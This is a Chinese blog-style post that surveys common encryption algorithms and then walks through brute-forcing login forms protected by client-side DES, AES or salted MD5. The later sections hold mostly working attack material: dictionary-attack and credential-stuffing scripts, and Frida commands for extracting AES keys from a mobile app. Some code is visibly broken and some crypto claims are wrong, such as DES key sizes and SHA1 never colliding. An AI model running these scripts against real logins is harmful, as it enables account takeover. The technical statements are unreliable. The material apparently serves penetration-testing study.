加密方式

0x01 前言

加密算法分对称加密和非对称算法,其中对称加密算法的加密与解密密钥相同,非对称加密算法的加密密钥与解密密钥不同,此外,还有一类不需要密钥的散列算法。

常见的对称加密算法主要有DES、3DES、AES等,常见的非对称算法主要有RSA、DSA等,散列算法主要有SHA-1、MD5等。

对称算法又可分为两类。一次只对明文中的单个位(有时对字节)运算的算法称为序列算法或序列密码。另一类算法是对明文的一组位进行运算(即运算之前将明文分为若干组,然后分别对每一组进行运算,这些位组称为分组),相应的算法称为分组算法或分组密码。

DES加密算法

​ DES加密算法是一种分组密码,以64位为分组对数据加密,它的密钥长度是56位,加密解密用同一算法。DES加密算法是对密钥进行保密,而公开算法,包括加密和解密算法。这样,只有掌握了和发送方相同密钥的人才能解读由DES加密算法加密的密文数据。因此,破译DES加密算法实际上就是搜索密钥的编码。对于56位长度的密钥来说,如果用穷举法来进行搜索的话,其运算次数为2的56次方。

DES算法的入口参数有三个:Key、Data、Mode。

  其中Key为8个字节共64位,是DES算法的工作密钥

  Data也为8个字节64位,是要被加密或被解密的数据

  Mode为DES的工作方式,有两种:加密或解密

  DES算法是这样工作的:

  如Mode为加密,则用Key 去把数据Data进行加密, 生成Data的密码形式(64位)作为DES的输出结果;

  如Mode为解密,则用Key去把密码形式的数据Data解密,还原为Data的明码形式(64位)作为DES的输出结果。

  在通信网络的两端,双方约定一致的Key,在通信的源点用Key对核心数据进行DES加密,然后以密码形式在公共通信网(如电话网)中传输到通信网络的终点,数据到达目的地后,用同样的Key对密码数据进行解密,便再现了明码形式的核心数据。这样,便保证了核心数据(如PIN、MAC等)在公共通信网中传输的安全性和可靠性。

  通过定期在通信网络的源端和目的端同时改用新的Key,便能更进一步提高数据的保密性,这正是现在金融交易网络的流行做法。

3DES(Triple DES)

​ 3DES是DES加密算法的一种模式,它使用3条64位的密钥对数据进行三次加密。数据加密标准(DES)是美国的一种由来已久的加密标准,它使用对称密钥加密法。

  3DES(即Triple DES)是DES向AES过渡的加密算法(1999年,NIST将3-DES指定为过渡的加密标准),是DES的一个更安全的变形。它以DES为基本模块,通过组合分组方法设计出分组加密算法。

  设Ek()和Dk()代表DES算法的加密和解密过程,K代表DES算法使用的密钥,P代表明文,C代表密表,这样,

  3DES加密过程为:C=Ek3(Dk2(Ek1(P)))

  3DES解密过程为:P=Dk1((EK2(Dk3(C)))

  K1、K2、K3决定了算法的安全性,若三个密钥互不相同,本质上就相当于用一个长为168位的密钥进行加密。多年来,它在对付强力攻击时是比较安全的。若数据对安全性要求不那么高,K1可以等于K3。在这种情况下,密钥的有效长度为112位。

AES加密算法

​ AES算法基于排列和置换运算。排列是对数据重新进行安排,置换是将一个数据单元替换为另一个。

  AES使用几种不同的方法来执行排列和置换运算。AES是一个迭代的、对称密钥分组的密码,它可以使用128、192和256位密钥,并且用128位(16字节)分组加密和解密数据。

  与公共密钥加密使用密钥对不同,对称密钥密码使用相同的密钥加密和解密数据。通过分组密码返回的加密数据的位数与输入数据相同。迭代加密使用一个循环结构,在该循环中重复置换和替换输入数据。

RSA加密算法

​ RSA加密算法是目前最有影响力的公钥加密算法,并且被普遍认为是目前最优秀的公钥方案之一。RSA是第一个能同时用于加密和数宇签名的算法,它能够抵抗到目前为止已知的所有密码攻击,已被ISO推荐为公钥数据加密标准。RSA加密算法基于一个十分简单的数论事实:将两个大素数相乘十分容易,但想要对其乘积进行因式分解却极其困难,因此可以将乘积公开作为加密密钥。

DSA加密算法

​ DSA是基于整数有限域离散对数难题的,DSA的一个重要特点是两个素数公开,这样,当使用别人的p和q时,即使不知道私钥,你也能确认它们是否是随机产生的,还是作了手脚。这一点,RSA算法做不到。

​ 相比于RSA,DSA 只用于签名,而 RSA 可用于签名和加密。

Base64加密算法

​ Base64加密算法是网络上最常见的用于传输8bit字节代码的编码方式之一,Base64编码可用于在HTTP环境下传递较长的标识信息。

MD5加密算法

​ MD5为计算机安全领域广泛使用的一种散列函数,用以提供消息的完整性保护。

​ MD5被广泛用于各种软件的密码认证和钥匙识别上。MD5用的是哈希函数,它的典型应用是对一段信息产生信息摘要,以防止被篡改。MD5的典型应用是对一段Message产生fingerprin指纹,以防止被“篡改”。如果再有—个第三方的认证机构,用MD5还可以防止文件作者的“抵赖”,这就是所谓的数字签名应用。MD5还广泛用于操作系统的登陆认证上,如UNIX、各类BSD系统登录密码、数字签名等诸多方。

网上有在线破解:

网上md5的破解主要都是采用暴力生成各种字符串组合然后进行hash,很多用户的密码都不够复杂,所以很容易被这种方式生成出来。防范这种方式的办法一个是随机salt,只要salt够随机也够长,就会带来巨大的状态空间,极大降低被暴力生成到的可能。另一个办法是生成hash的速度够慢,比如迭代1000次,这样就大大降低了暴力运算的速度。

还有种破解就是采用彩虹表和字典:通过数据库把常见字符转的MD5存储起来为彩虹表,然后直接反查。有两种方法得到字典,一种是日常搜集的用做密码的字符串表,另一种是用排列组合方法生成的,先用MD5程序计算出这些字典项的MD5值,然后再用目标的MD5值在这个字典中检索。

比如我通过大量例子发现某密文中A对应C,然后我会记在数据字典中,下次直接用C代替A,看上去好像了破解了,实则并没有破解,只是找到了规律适应这种密文而已。

SHA1加密算法

​ SHA1是和MD5一样流行的消息摘要算法。SHA加密算法模仿MD4加密算法。

​ SHA1主要适用于数字签名标准里面定义的数字签名算法。对于长度小于2“64位的消息,SHA1会产生一个160位的消息摘要。当接收到消息的时候,这个消息摘要可以用来验证数据的完整性。在传输的过程中,数据很可能会发生变化,那么这时候就会产生不同的消息摘要。SHA1不可以从消息摘要中复原信息,而且两个不同的消息不会产生同样的消息摘要。这样,SHA1就可以验证数据的完整性,所以说SHA1是为了保证文件完整性的技术。

​ SHA1是一种比MD5的安全性强的算法,理论上,凡是采取“消息摘要”方式的数字验证算法都是有“碰撞”的——也就是两个不同的东西算出的消息摘要相同,互通作弊图就是如此。但是安全性高的算法要找到指定数据的“碰撞”很困难,而利用公式来计算“碰撞”就更困难一目前为止通用安全算法中仅有MD5被破解。

各种加密算法比较如下:

对称加密算法(加解密密钥相同)

名称 密钥长度 运算速度 安全性 资源消耗
DES 56位 较快
3DES 112位或168位
AES 128、192、256位

非对称算法(加密密钥和解密密钥不同)

名称 成熟度 安全性(取决于密钥长度) 运算速度 资源消耗
RSA
DSA 只能用于数字签名

散列算法比较

名称 安全性 速度
SHA-1
MD5

对称与非对称算法比较

名称 密钥管理 安全性 速度
对称算法 比较难,不适合互联网,一般用于内部系统 快好几个数量级(软件加解密速度至少快100倍,每秒可以加解密数M比特数据),适合大数据量的加解密处理
非对称算法 密钥容易管理 慢,适合小数据量加解密或数据签名

目前主流的加密方式有:(对称加密)AES、DES (非对称加密)RSA、DSA

调用AES/DES加密算法包最精要的就是下面两句话:

1
2
Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, key, zeroIv);

CBC是工作模式,DES一共有电子密码本模式(ECB)、加密分组链接模式(CBC)、加密反馈模式(CFB)和输

出反馈模式(OFB)四种模式,常见DES/ECB/NOPadding ,DES/CBC/PKCS5Padding.ECB只需要key即可,CBC

模式需要设置key和iv 都是8位

PKCS5Padding是填充模式,还有其它的填充模式:

然后,cipher.init()一共有三个参数:Cipher.ENCRYPT_MODE, key, zeroIv,zeroIv就是初始化向量。

工作模式、填充模式、初始化向量 这三种因素一个都不能少。否则,如果你不指定的话,那么就要程序就要调用默认实现。

ECB只需要key即可,CBC模式需要设置key和iv 都是8位

http://ctf.ssleye.com/cdes.html

http://tool.chacuo.net/cryptdes

https://www.sojson.com/encrypt/

加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
加密方式: AES128(CBC/PKCS5Padding) + Base64, 私钥:lianghuilonglong,要加密的字符串abcdefg

public String encrypt(){

  String text = "abcdefg"; //要加密的字符串

  String key = "lianghuilonglong";  //私钥 AES固定格式为128/192/256 bits.即:16/24/32bytes。DES固定格式为128bits,即8bytes。

  String iv = "aabbccddeeffgghh";  //初始化向量参数,AES 为16bytes. DES 为8bytes.

  Key keySpec = new SecretKeySpec(key.getBytes(), "AES"); //两个参数,第一个为私钥字节数组, 第二个为加密方式 AES或者DES

  IvParameterSpec ivSpec = new IvParameterSpec(iv.getBytes);

  Cipher cipher = Cipher.getIntance("AES/CBC/PKCS5Padding");  //实例化加密类,参数为加密方式,要写全

  cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);   //初始化,此方法可以采用三种方式,按服务器要求来添加。(1)无第三个参数(2)第三个参数为SecureRandom random = new SecureRandom();中random对象,随机数。(AES不可采用这种方法)(3)采用此代码中的IVParameterSpec

  //cipher.init(Cipher.ENCRYPT_MODE, keySpec);

  //SecureRandom random = new SecureRandom();

  //cipher.init(Cipher.ENCRYPT_MODE, keySpec, random);


  byte [] b = cipher.doFinal(text.getBytes());  //加密操作,返回加密后的字节数组,然后需要编码。主要编解码方式有Base64, HEX, UUE, 7bit等等。此处看服务器需要什么编码方式

  String ret = Base64.encode(b); //Base64、HEX等编解码

}

解密:

逻辑: 将服务器返回的加密字符串,先用Base64、HEX等解码成byte[],再用加密时相同的加密方式及key进行解密。加密与解密代码几乎相同。唯一区别为在Cipher类init时,工作模式为Cipher.DECRYPT_MODE。代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
加密方式: AES128(CBC/PKCS5Padding) + Base64, 私钥:lianghuilonglong

public String deCiphering(){

  String keySpec = "lianghuilonglong";

  String textDeCipher = "UstyI8JoQOty8egSMFQfig=="; //从服务器返回的加密字符串,需要解密的字符串

  byte [] byte = Base64.decode(textDeCipher);   //先用Base64解码

  IvParaterSpec ivSpec = new IvParaterSpec("abcdefghabcdefgh".getBytes());

  Key key = new SecretKeySpec(keySpec.getBytes(), "AES");

  Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");

  cipher.init(Cipher.DECRYPT_MODE, key, ivSpec); //与加密时不同MODE:Cipher.DECRYPT_MODE

  byte [] ret = cipher.doFinal(byte);

  return new String(ret, "utf-8");

}

0x02 jsDES的爆破

DES加密

1
2
3
4
5
6
7
8
functionencryptByDES(message, key) {
var keyHex = CryptoJS.enc.Utf8.parse(key);
var encrypted = CryptoJS.DES.encrypt(message, keyHex, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
});
return encrypted.toString();
}

key藏于html中

1
2
3
4
5
6
7
8
9
10
11
	function form_login(){
var username=document.getElementById("username").value;
var password=document.getElementById("password").value;
var pwd_key= '{"username":"'+username+'","password":"'+password+'"}';
alert(pwd_key);
var post_key= encryptByDES(pwd_key,'232cb851727762bbf7dd097da3bcd354');
alert(post_key);
post(post_key)
}
232cb851727762bbf7dd097da3bcd354
encryptByDES('{"username":"admin","password":"admin"}','232cb85*************cd354');

python des加密模块--pydes

1
2
3
4
5
6
7
8
9
import base64
from pyDes import *

Des_Key= "12345678" #Key
Des_IV= "" #自定IV向量
defDesEncrypt(str):
k= des(Des_Key, CBC, Des_IV, pad=None, padmode=PAD_PKCS5)
EncryptStr= k.encrypt(str)
returnbase64.b64encode(EncryptStr) #转base64编码返回

这个模块只有des的ECB和CBC模式加密,并且填充方式只有pkcs5padding,和nomalpadding两种

正常des加密key固定是8位的,3des加密是16或者24位的

python调用JS--execjs

1
2
3
4
5
6
7
8
def get_js():	//这个是获取js的函数
f= open('C:\\des.js','r')
line = f.readline()
htmlstr = ''
while line:
htmlstr = htmlstr+line
line = f.readline()
return htmlstr

这个是加密的函数。先获取js然后解析js代码再调用js的函数并传参就可以返回加密的密码了。

1
2
3
4
5
6
def DesEncrypt(str,key):	//这个是des加密的函数
jsstr= get_js() //获取js
ctx= execjs.compile(jsstr) //解析js代码
password=ctx.call('encryptByDES',str,key) //调用encryptByDES函数,并传参原文str和加密key
password=(password.encode("unicode_escape").decode("string_escape")).decode('unicode-escape').encode('utf-8') //解码,解出来是unicode的
return password

知道明文key和密文解密:

网上找的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python
# -*- coding: UTF-8 -*-

from gevent import monkey
from gevent.pool import Pool
monkey.patch_all()

import execjs,requests
Des_Key = '232cb851727762bbf7dd097da3bcd354' # Key 通过查看源码或者其他方式找到

def get_js():
f = open('F:\\Website\\phpstudy\\PHPTutorial\\WWW\\des\\main_total.js', 'r')
line = f.readline()
htmlstr = ''
while line:
htmlstr = htmlstr+line
line = f.readline()
return htmlstr

def DesEncrypt(str,key):

jsstr = get_js()
ctx = execjs.compile(jsstr)
password=ctx.call('encryptByDES',str,key)
password=(password.encode("unicode_escape").decode("string_escape")).decode('unicode-escape').encode('utf-8')
return password

def bruteforce(user):

for keyword in passwordDict:
# keyword='12345678'

encPWd = '{"username":"%s","password":"%s"}'%(user,keyword)
psw=DesEncrypt(encPWd,Des_Key)
print str(psw)
head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0',
}
postdata={'login_key':psw}
try:
r=requests.post('http://127.0.0.1/des/test.php',headers=head,data=postdata)
res=(r.text.encode("unicode_escape").decode("string_escape"))
# print res
# print type(res)
if'重新' in res:
print "trying +"+encPWd
pass
else:
print res
exit('%s:%s 成功?'%(user,keyword))
except Exception as e:
print e


def main():
user = [ 'admin','root']
# user='admin'
pool = Pool(2)
pool.map(bruteforce,user)
# bruteforce(user,password,head)
if __name__ == '__main__':
passwordDict = open("C:\\Users\\49974\\Desktop\\psw.txt").read().splitlines()
main()

0x03 AES的爆破

AES-Killer

1. 如何安装

1
从Release下载jar文件并添加burpsuite

img

2. 原始请求/响应

img

3.获取AES加密密钥和IV

  • 首先在IOSAndroid设备上设置frida服务器。
  • 在移动设备上启动应用程序
  • 在主机上运行此frida脚本以获取AES加密密钥和IV。

img

ios下

1
2
3
4
5
6
7
8
pip install frida
pip install frida-tools
frida-ls-devices //USB连接 列出设备
python frida-get-AES-keys.py
frida-ps -U //查看进程
frida -U 微信
frida-trace -i "open" -U 微信 //frida-trace
python frida-get-AES-keys.py

4. 解密请求/响应

  • Secret Key字段下提供SecretSpecKey
  • Initialize Vector现场提供IV
  • 提供主机/ URL以过滤加密和解密的请求和响应
  • Start AES Killer

img

0x04 md5加密

用户名密码在本地进行了md5加密处理。因此,撞库之前需要本地实现将字典进行加密操作后再提交。

对登录功能抓包分析后,可以看到在填写用户名密码后,前端发送如下数据包获取cd、salt数据包:

](https://image.3001.net/images/20180914/1536903440_5b9b49102a441.png)

此处存在salt泄漏风险,可遍历手机号,对于未注册⽤用户,返回值⽆salt,对于已注册⽤户salt值恒定。

而实施撞库,需要先请求得到salt与cd值。然后可从前端代码中得到加密用户名密码过程:

pass经过本地md5加密后, 发送至服务端进行登录校验。

演习:

因此,我们只需要用脚本,先输入用户名即手机号,请求得到cd、salt值,然后再从密码字典中,取出密码进行md5加密,最后发包请求即可。编写python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#-*- coding=utf-8 -*-

import requests

import hashlib

import json

def GetPass():

fp = open("./pass.txt","r")

if fp == 0:

print ("open file error!")

return;

while 1:

line = fp.readline()

if not line:

break

passwd = line.strip('\n')

Brute_Force_Dididai("150****1403",passwd);

def Brute_Force_Dididai(username,password):

# url = ""

s = requests.Session()

s.headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/51.0.2704.103 Safari/537.36',

'X-Requested-With': 'XMLHttpRequest',

}

url = "http://www.foo.com/?m=&s=getcd"

data = {"username":username}

html = s.post(url,data = data)

print html.content

salt_cd = json.loads(html.content)

print salt_cd['salt']

print salt_cd['cd']

md5_pass = hashlib.md5(password.encode('utf-8')).hexdigest()+salt_cd['salt']

md5_salt = hashlib.md5(md5_pass.encode('utf-8')).hexdigest()+str(salt_cd['cd'])

md5_cd = hashlib.md5(md5_salt.encode('utf-8')).hexdigest()

print md5_cd

url1 = "http://www.foo.com/?m=&s=login_wd&ismd5=1"

data1 = {"username":"username","password":md5_cd}

html1 = s.post(url1,data = data1)

print html1.content

print len(html1.content);

GetPass()

Reference:

https://github.com/matt-wu/AES

AES-Killer

https://blog.csdn.net/aa2397199142/article/details/50844879/

-------------本文结束感谢您的阅读-------------